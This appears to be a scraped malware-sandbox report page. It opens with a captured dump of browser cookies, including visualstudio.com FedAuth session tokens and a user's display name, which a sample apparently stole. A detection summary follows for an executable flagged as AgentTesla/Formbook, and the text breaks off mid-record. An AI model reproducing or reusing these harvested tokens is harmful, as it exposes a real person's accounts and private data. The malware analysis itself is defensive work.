"ywzu7870.default", "Domain": "app.vsaex.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8xMzY5OGEwMS1iMDllLTRjZDYtYTRhNi03MjEyYWRhZTFkYTItQTY0NzUxQjY3RDU2NzgzODc5NDBFMkM1RkM1NzA0RjMiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTU5YWUwYzUtMGM0Ny00ZjkzLWExNTYtNjM1Njc1ZTIxN2I4PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWVLNUJsOHJtSHI0c1dDcitMbjBzM3ZOSEkyd0hPcnhiUzJsT1VlL2VLYkZuUGdiZGUxQmJqcGdDcjFEMXhEOXBZRm8rKzVUNUF1MXBnc21VWEtiWDlvSmNNeTBTRURzcmk5WkhDWFZieUUrSTIzencyK2JZaS9JRklrTUtmQXlXTk5YMmhUSDM0OUZaS3M2M09DR0hLVGJVT3lzSTBodk90REF3Znk3NG9aMUx0U0VVVkloMmNqc25adVEwcUNHeEZIenhYR2thMjRIK1FWeitnb1ZHd3RjeFEydkh5cGdVYVZQYVN1U2hLWmEvd1lQME9uendhT3lVa0F6ZWJPR2RUSm41Zzl3WjI4bWJSUnkvOVlEQnJKbUE3ZDJBTWcvdUx1NDU1TjdSQWp5ZWgvbHpIRm00amtaVm5QVTl6T3pwVEZuUFhrSUo4R1NhVzhrYlhEYkNDTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBS21NbVljWm9VR3ovcGxYblJwcm5jWDVMbXBpemFpYk5oNkFtY0U1TVQ1bm9CMklpbU9ZQWZITVNpc2dBQUZDdEFNM1d6Nk80Y3dnblBJSlVuZmEreUVFdm5xVUZ3VVRLeUlEdTZFN1I3Ykh2UWFudGpPZTdQZnpTTzNmYVZ2UEFEaGROQzFqK0ZzdFBpWXA2aWFHM0tPaGJiRXduTWtyeEdybmxTVkxFRVIxVmg0cFJwSzZRSm5lMG5qbDJDYWNVYm0zVGFNNXBYZzFZcWtvT0drNURwMnZqNUJqRGtXdXBTRWJhb3A5VzZqWHQvbWNrcTRKYnA5SFB0QzJiWVhnQ2pVWXZuUXlhRkVYVlcxTUxiclFpSkczL29tY3NFWHpNODgwQk4xY0lSS3gxOXRHVmdlT3VxR29uYWdNbSsyWDY1OXV1Wk1hMklWVVNscHZHZ2ovSkREZ0F3QUFjQnRRU0xMOXcvSXRHeTF4MDZ4VUJwZGRBZ2tPOWxLQ0JNWE1hbW8vZDQ1WG82UTBYdDQ5aFd4UjU2c1ZNZXhuTk9xRjFKNzZxSzFDTXNNdnpLQmorUWhwUkxUS3lsaDZwaVJLK1Y1WjZ5bjQzVkMvTW5WMVdVZEFCN3FtbmZaa1V3UnBYeTgvbjVoODVhTW8yQTBSSlJBdklMbm9HaEN6dHBOWVBFNXN2d3hETEw0SkJlRnFXVzVhSXVNUU9sb29udnBFYy9OVThncElod1dabDQzMkNFanVNQkxmNHpCL2R0Um5IR3lXbDJvWWJoSWVIK0RaLy8yNmRGa0JBMnYxZm9nSXY2b25LY1NiZlYzUWJ3QnBvMC9VQ25nZnJEMis4MGE3azJPTERVOUl2MTV6TzZT", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vsaex.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "MzBwcUQ4d3BNZHZ4cDhCd0ZacFdrWlNrYUM3VFFEbWkreHptSm9VN1dmazgya3FQajVjVzZvd29jenFiVnc4cVhua213eDJJZ2RjWXFnNkNCZXByU0x6emJ4cEY3RWM5Zmg1NUxjb2wxNzlCTmFsS1hCcElXZ0hyRS8vQk83Q1gwMHVCVTB5aldndzYvVUNPNlNVYlN3TGUzTVdISWZUSzhBZ2JVSS9MMXhlUHErMmh6aTJUYWZrZkxVMkd6dlFyT0F3SlAzSlk5TzBNQ1Q0RHhPOEw4NVBBS1BzMG8rSWtTM2JyTlhJRmFsSVI0WnkzWHkxRGMrNU9heVB0MzJHc1ZsenorZE5hRjNaQzBCcmI5Z2lKcktlQitOclU3aFhtbWVaczQ2VzZXREhWMkVBT1RNUnpKOWUrcGEzRmxMQmxGK3Z4ZTRPbCtlWDltSVlCVG8wczA4NXJkTDhjK2JJMUJQU0JWTGp1aE5BY2VEamZEQnVKN2JVS3hINmNQWHJsVFZVVndKM2NXUVhHVHBJaTJjb3pPTk9Ud3l5K0lvM2o4ZXRYRjZNZDhRRFdJMGVqK2c0R3QrVlJOWHFGR0tHSS9iKzNtdDRjcnhhMXdhYUt1cDVpYUN1RG9qZmFNdEFyeC8rQi85WFVsaEJSek1TRDZMRTJkSUhQbitmL3NOUUticHBrWnpHaEdlM1dKL2kyU2JudVcvTDFTbHExdy9SQWRjV0VmWW5leWNnYzlERlF3SmVnT1gzbjJPcm42OUFxM3NselhTY3RaazVobWowNGttSUh5YU1rbUd3OWJsQUdVY2NKYjdtUUF6NkowYlNRNlZOV2RjSGpCTDduZW80OU40c3NPa3VWNDBpTE0yQUxHMy9ZK0dFMVhmejBhNDN6YlFVdTM0L1o4cmxzbkI2YXZEc3hRVVdpd3NIMmdoWDd0MCtpNU5LckwyMVlEbVl5TFhNVjNxaU5LL3hRRjhFMStETE5RZ1l3ZzJzODJPT0FYZVZjSHpzbXYrV0UrVjEvRzB3OVVZZTlRMndmczNrZEhiUVQySDZVVEhIaUNjbDFJa0tsNlh0STlMNG10cXlZUldpK2ZYUzJDZVpFVjFYNjZlaE5pVUxUS0dGaTNPMVFuSlBwVHVJL2ZZeFJWc0hRMGVwYVViQjJFRjR4ZVBmREtVU3BXNG5ueDhhL0w0MTRYY3hCU3JDNE43WVAwNG5Pd3pzbjNlVHZTOW5samxkbnA1TTJGdHYraTRWYlFCUjVhZWFYa29Tb1BpRW5oL2x3YSszVkduTTBEaGUvTVdHMzhWcitCelBiNEEzSUhyL0oyeW5za3NYSjU5TDdpS3RqdUU5akZKVmM9PC9Db29raWU+PC9TZWN1cml0eUNvbnRleHRUb2tlbj4=", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "NID", "Value": "134=DJVDrFMJ_7WTMaThq4BwXW48xuuFIjrxm6k6mZ_-IesJ-g-kLcQY3mKLWPvC920yPSSa9r-hjI1JU5myF94eyuiNLyOIiQ47NoAWAf2r4JCnxGybgSxyJy1gh2I-6ic3JfcTIYjB9Bc", "Expiry": 1547382453, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "www.google.com", "Path": "/", "Name": "DV", "Value": "gw7SsgaDfBIQ0N8QXx_eM9eFGkqDShY", "Expiry": 1531831057, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gali", "Value": "c-shellmenu_85", "Expiry": 1531830496, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".visualstudio.com", "Path": "/", "Name": "SpsAuthenticatedUser", "Value": "DisplayName=Marc%20Rivero&aad=False", "Expiry": 1532435266, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".visualstudio.com", "Path": "/", "Name": "VstsSession", "Value": "%7B%22PersistentSessionId%22%3A%22d4708cf3-5d30-49b9-a6ff-e56cc387292d%22%2C%22PendingAuthenticationSessionId%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22CurrentAuthenticationSessionId%22%3A%22a452f370-9678-4bfb-bfa8-2d1cd43699e3%22%7D", "Expiry": 1689510466, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vssps.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8yMmNjZWU4ZC1hMzdmLTQwYmQtYTZmZS1mOWRhODEzNjQ1ODEtNEI5N0I0REMyNDU0NEMwMEJCNjA0NjM3OEI2QTk4OEUiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6MTIzOGQ2M2YtNDA3Zi00MzA2LTgxY2MtZGMyMDgwNDFmMjE1PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWJwWFNSbnlLQVo0VHpWbXdOTDB6WVVrQTBTRDBaUTJqa24xMW8xTUp4SXhSUkcvUGhMWEZVU0FSdDBVcHNsSC9MRStmMWJRUXo1RFI1Ny9rdWFCSVYvall2MWp4TkRLQ2YrSThwZm5qanMvd3Bna0ROWGhMakZqczB3OHpGcXhDZ2VpeHhHaW9CN1NIYjFWWm9JV3krY0FCUThoNUIvZWxDUTFYUFd4NnRLT3lxY0tjYWdMb3BRQ3NjbVQwZ1oxUzE3T0FTYmxxc0VZRWlra0hsOUtZTmt2QmVUQ1VDQjB6cmFtakNFWG1WdVZteWx1eWRtM2hZZWFob0U4WW10ZmtYVkRDbXdMRHpPbDRJTk1nRDBIdUluNUd2ejh5SkxWUm5NV2NjZ0xBVnA5MXFvMksyWEpJczVnZjQxdUF3UmFTVU54UXY1TzdRMkUwSitla2wxcGxmTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBSzg1NFQrMlR3cmJJYWY4TjhKQ3p0TnYxV25ESG5QaFZwTGZjVlB2Zk9nczExdlloanJyRTNXcENLdjVPN0JrRHdxQWprNHBZWm5QL0J4QU5lbzJMajJwcEFHUnk5ZzNqUXZxTXFEckUvOUl6MHNscXlLb2dETTQxQ0NEQVJHaGV0SFIyTWwrR1hNdm9tWVpGRmw2citxRTk1L2FURW1GUjlGbytCM3grSnFUV2FKNW15bmo2UHRSdjlVaEdFdTI2c2ZzeXgwbWVaVCtqb2pLUE56cytkaDV2ZHd3RENJTWpjYWlvYU10L0N5VkVnVml0ODE4Wi9QeHNSVk1XTUhzY0F1dmdNd2FpaEZNeHdRYisyZzQwSXpIcWptSkhIYlJKUWc4THQ2bVpsWXBhQXI5NWhtRS9uY1VzYXRtTU95Sng5YlFJUU5CR05ZQ25zL0hZcFZLQkI0QUJBQUF0Q2RWc29HRHp4cWQ1OS9Fb2IwUkVLTmczVzUzQUNRSDM1SlNoalM4RXNSRTVYTDNxa24zVUtXMVoySG4xNmZEd3RqYzNIUi9NU1ZxSHpWVTM3b3hYOU13TzZxTUFQZE1mMG1IbjZnRkRvQ1RuZUN5eHRkTnp3RFRZUWxKK09PWUl3L3hGNFZEc1ZudjRjUVdXWWtqUmtRVlFkZFFMdFIwRUVxRUJPTTdHUmlUamdQWTg1enJQelRQeC8xS2NnYVBHRFNYRXVvQWVJMm00eCtzOExPM1ZCVUx1VHlsMWc3ZnU4aHJFdW9HTG5lVG5vZnRadm9hRFhQTE9aZnpOUysrenk5ckxjZEJDai9CenMrS1FvYWpHQWcySzB1enJvWHRDdWZNVlFwc1lqeEVJZk9teWhH", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vssps.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "a2s4Qzh4SFI0YUZHbzFiVkFVWDJHdUJuMUZpNXBIUEN1R0NDZ0t6amZqVys4QlA4YitKQ1c0VmVjeWdTdlVrSUVqc3JiWm1ld0ptYnVaQ21PaENaSEN2U2NUS0FIWDJ0UXQrU3loQVV2eGVreWhrY0xIeTVpOHRWUnJRM0RCNmpUdE56YjlpNjV1bzBUc0lOZ1FpWFdZNUZEcDk5dVdQM1J2TGR1UEg4WXd4Y2tnZUJCNDh5ZnAvcTNyOVNENms5YTFadXRtYi84Vy9nZHpyMWsvL0pNWEpzb0h2cDNJRGxVK0JOOVdhT3dCamdURTJ4T3RZV3RvOWJUMVJxN3hUb1RwVFlkQ1V0QmtvYk9RMmpCTmZpQ3dOYmsvaDlCZUFHT2xxVmE3MGNwajRPbEJtMUg3dzVXWk80czVkVlhvTHdQMVV2bWdDQmpJOWtFbTNLbXlDWlBoWkozQmthTzBPYjl5cHFvcnEvNVZsVWU0cm1keGRTM2xZRFRheFhmSUwxR1hFTVhVRndBYzhvZHJNYjlrME9LR1dIK0xIZmVYQVo2RFFLcWMxcllFd0tpaExLRFRMR2M1Z0tNQStpMmF5MmVnNldvbExCSVJ5WjgwZTBOb2NralFQOHlkTVJXUlcrU2V3eVlJbitaM2UxSG1JTTdmWDh0cTFZWm0ybCt3QzUwMEpWVnVqOUJTL1FSZ0lSQjd2b0MvZEwrYlNHMm1VcHFwd081RmtTNktvQkxPdDZHOG1yaStPUHkrR1IwVk1qUVVzUERGT2JBdlVLcTFjejBENHQ1YmRFcllsZHRtRU43azl2YzRrckdvR2lDbTViSWJlTnQ2NlJBODdtYXgzMStCNmtBd3ZUdkFlcWhra0N1Sm43bStleWR1QVJSbmV6d3kwYnJEVU9KNFF2TkJjeWFFSWdHRU9zWU91dTYzYUdybUxLTStqV0NlNnQrTkxrbUtJWEVqbW5WZzR4S2htME5KMzI1bWt6RmhuMEppTTRTNTQrUFlpTUdnQ0xYZTQ3Ly9nY2xIaVFvS2E5UVJ4ZE0xUGRBZG9wcGdHMXJ0N09NK3NMZ25HdThtUEtUTFJmOFFpcnM3MlVjMURoc0Rnajl1UjAwWis5T0RrZ090c3BqM2FzVHAwZTI2QmJnTHMza2hIY09Ia1lXS1JGcFZBRU5JMi85UWNaejdZQ2pGKzVqWDJ5dDRPSVZTdXhlN1FENmdyajBsM1FSNUhUNWhOMWlWOEE5S2lQSjFaRWpsN1p5M3E5TUVxRDE5UnBuMHNYRlhHenU5NVRHMmpPY3psQTQ5QnkrMkptbk11VFhMYTJUbnd0RDlXRnlqbVlKMW1OWTRFdFVrWkg5UGpmWjBGbCsrYzZkTlphbU1sUm9aaGRvVjZieCtTbVFIaUlnOVVkWkZnPT08L0Nvb2tpZT48L1NlY3VyaXR5Q29udGV4dFRva2VuPg==", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "my.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il81M2VjYWU5MC03NTk2LTQzZDctYWYyZC1iNGI0MjhmZDhiZjgtMEFBN0QzQjE1Q0U1MEY1NEYxMENGNTg0NUI0MjE4ODciIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTZiNjIyODYtNzA5Ni00MjBmLWE4NzAtYmU2YTY0Y2IxN2M3PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQU80a2t3Tkc1cXA5TzMyTFhsSlVVU2sxa3hsbGFaL0NZYy9ZR0hGRWRCY25jQzRabkdqWWVSMlExYTB4QXlTV3grYTArMUNaODdiYVB2NUx4aTQybVJ5MGR0b05ubUlFdU0xRmZ2YW9tcWxBWGNudzVFL1B4ZkVhVkJibTJxaS9zTzVHemMzZ1Flbi9JaG9IS213MEgyZXFBTnNISzU0U1p3MGJWb3lHVmJabG5DckFrSXh2Q0ZCOFg1WmZmalFiSXJUaWh2MXNmK29tcE4zYjc3Q0Rwc3lqWUpyQW1TMWdEQnJnOXVvZ0QwTDhiVStSVTJNTVV0MURZMGx5N2tTckFrNmtHTE1LMEF5VytCaUFJa2hlZjBCVC9OdXc1QkZWOG04UTgrUmw4TU9rQ1Q1MVNlVnRQSjV5QUFkNWFrK0R5ZXdXempJV24yZjNRbHFHZEVPRVRCTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBSXNCUGlqU2hZQ0Y3N0lndmNsT3dYbkozM3phZSsrYUFkRDU1RE9CMERVcmE4VS9WK3oxNjd6WjVGWXNvZ2tpWlhoUWpPekxDd3JtczJmNFJoYkxSMUNLZlkyZ2NHNmxlTnlmWms3a1JUbktBY3Rha1pvSVQ3TFZEU09EcjlUaUFLWSs1NTlzeHFLWWFGMFY5QWVoU0tqc0tGb1ZnbVhxQzEzTzJEaHNSaUY5bFNBcEJlNEtNNlA5c1dLNnlIUlBnK2c2YXoyUklGZS9IMmdjOUxsWmltVGlRR2xhSkdBalU2enp1YS9kNzBGazQ4MmkvdTM4VE1wSjNVdTBCRnlZamVVODNxTDcxbXdYZXU4MVplRi93dnBBaVQzUVRwYmQyQVQ1MytVTnh0azVHa2RuVnVXQVJ2R2lMUEV6MlBGanpFNGVxWlVKdERHVjRhL3ZCL0Y1Nm1QZ0F3QUFRc2w5anNTY3RVaXdTczNhT3BGWDRUK0cvL2g4WEtSMm5qNnlXbVV3aG1QSzZWZ0tzLzJYaWt1a3ptenQ5alZpRzVCcXlIeUJmM3NEMVZMdlpMZ1Bueno2b2dQZkQzUGprZ0dnY0QwUnRJNEVXdW9xNUZBL3pKdE1ZK0FpaGo3anlGcnM3U1FtQWZyTitNUnZFelpSQzJsL0JqeGowS1FlZXFmbDM5ZVNZdFMzV21jUmRRRDd4Um1FemduUDFLbEhMZ2YxbTJoc0F1c0NqZnM2N0daWTRJaC9JMG9QQ0JOKzBSM09RSmlQVUtlTlBQcEtER3ZTOG84Y29hZFd6MDkzd1dhV3E0L3JrSDRBc2Fvc2NpRmtPMDB2NTRQdzAzOCtOaGlWeHYrOGVXWC9uZk16SGlU", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "my.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUNVQitDb1dOelNaWDV0UnBJb0JJb3RybVBHcWtEdnZhN00xY01kZTd5Tml5cmdsajNjbVhQZ3lxWERxV0FsQzJHbG5YV0dyUHRETE0wRllKY21GV3FQaVVOcGt6VU1sOFdMRkQ5QXZGNEFrZ3RYNmlsVFIzRWdob3Ryd1VMZ3cxUEJMODk5YU5sNWM1YkVXTzNyTTUzSmpNSGN4bGpsOEdTYlgwaExoU1U4aUwzTkIyQjQyNjk3VzZSRnNGYUwxeHhJemNwLzgxYUxHd0YrY2tHc0pzWTdtN2N6Yy92QWppVUZpSnhIYldNbm5taUJYQ3F0RVNSY2ZrUGx4NVh1TkFUK1NkbTcyYXdQS2dhbVNGRUhvY0pCZ21ENWlsTXJsQUh0dVVvL25qSlhvQ1pHUnVMVnd1QjVHMFozTEREbnVTeUFwR0pTYllZd1llUUs0U2p0YmxEMGpVV3FManorN2pkTkthU2lCSEo4MURDTnhwK2xiRDM2b1ZEdklNWG1SOEFlVDVrbk1xajZaMnRwSnQ3MXVpd3ZWR1lnWm0vR1VuY3NoQUNnVEx2SmpPWXFRM0dFeThXRXlIQUszTzI4SDBjVVhBbm5MVXduNU51T002M25LK3UxRGp1YUxyYlZmM0ZsbHdNRXRRaUR1UHcvZjZwbHZYQnlOQlVYKzFua3RWckZpNjBzNWxiK0RjbmVVRUIxZ1ZtTVNwZXgvcWlWN1FVZUVIZGduOTNHSVdKOW8rd3NkOEc3R00xbFNUTUgrUWIvT1dMeHZRSzVwT0lhaFgwaVVZRGxBaWtPQlJzRko4UWpuVC8xSTdBV0RnbGNTMUJycFJ5YkNSMDlTMmZMdHNiTncza3V6RHBJeXE0SGoyZUYzaXVtc09GNGlSQjJsK3pndjE3SFRaWnF1OTYrUU1ORE0wWFliaWd2WEpibDdjQXZPeE9GUkdKdldqWE5DZEJibXpyc1VxK1B0TklINHhSK1M1VGs5VTJhL1dmWll0bUM4cnpwSXQyTlIvajcweklzcWVWWmEyeWxvSWc4Umwva3dQaHpFdWpDOWp1NkVYbHo4d2Fhbmx5dnhOZGFFK2pLMWZqWnh2WEt5VCtCRXdLTDJBcjB3RjNQWHNFSUR4T2dCNmFJVXlKWmtudWZYNnU0bDB3eW9YQjd5S0lCazU0REhnZ1A0clNtVTNDZ1o0ZXRmdlRSUWxSaHZra3dQbHFBUGRVczhJakdyZzZZdlI5VHBrcGFpYVppa2paOXRxaVRsSGdPM2NJVTI2ZGFQbVE9PC9Db29raWU+PC9TZWN1cml0eUNvbnRleHRUb2tlbj4=", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "vlscppe.microsoft.com", "Path": "/", "Name": "thx_guid", "Value": "459f7c585ccc4e1bae96039138b93fde", "Expiry": 1687350467, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MUID", "Value": "12a11495-8216-468c-b4ef-91a01564edd7", "Expiry": 1594988868, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "OGP", "Value": "-5061451:", "Expiry": 1534422677, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "1P_JAR", "Value": "2018-07-17-12", "Expiry": 1534422680, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "optimizelyEndUserId", "Value": "oeu1531830459748r0.9733928579012604", "Expiry": 1594902682, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_ga", "Value": "GA1.2.746119596.1531830390", "Expiry": 1594902687, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gid", "Value": "GA1.2.1680687488.1531830390", "Expiry": 1531917087, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gat", "Value": "1", "Expiry": 1531830747, "IsSecure": false, "IsHttpOnly": false, "Expired": true }]--19a9a391-7464-4172-be50-78ff52dabc9e--"1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"7754fc3ae79dd10fdb5f3a04251eb2e87ecf281597c058b27ae852083cf71ab4","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791749176842,"unified_at":"2026-10-11T20:06:16.842Z","metadata":{"hashes":{"sha256":"7754fc3ae79dd10fdb5f3a04251eb2e87ecf281597c058b27ae852083cf71ab4","sha1":"6cdd5534239367863740c493e219129208c8ea63","md5":"3b9ed3e8ff3d78eb830a0b1b1ddce8c6","sha512":"a6caefe2ab816e98ba9bca8700961cd3c696a3ebb42de10241df820a7852ab6a3b8c4a205c232828ca79005e91697d285f19ff26dd2ebc0f4a85f4a4c84fe4b5","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"Quote.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":1855488,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1775208932000,"last_seen":1775209072000,"last_multi_scan":1775209072000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":80},"sandbox_signatures":{"informative_count":184,"suspicious_count":10,"malicious_count":8,"total":202},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Formbook.X2183","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.AgentTesla","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Basic.8.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.MSIL.Basic.8.Gen (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Injector.nj","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA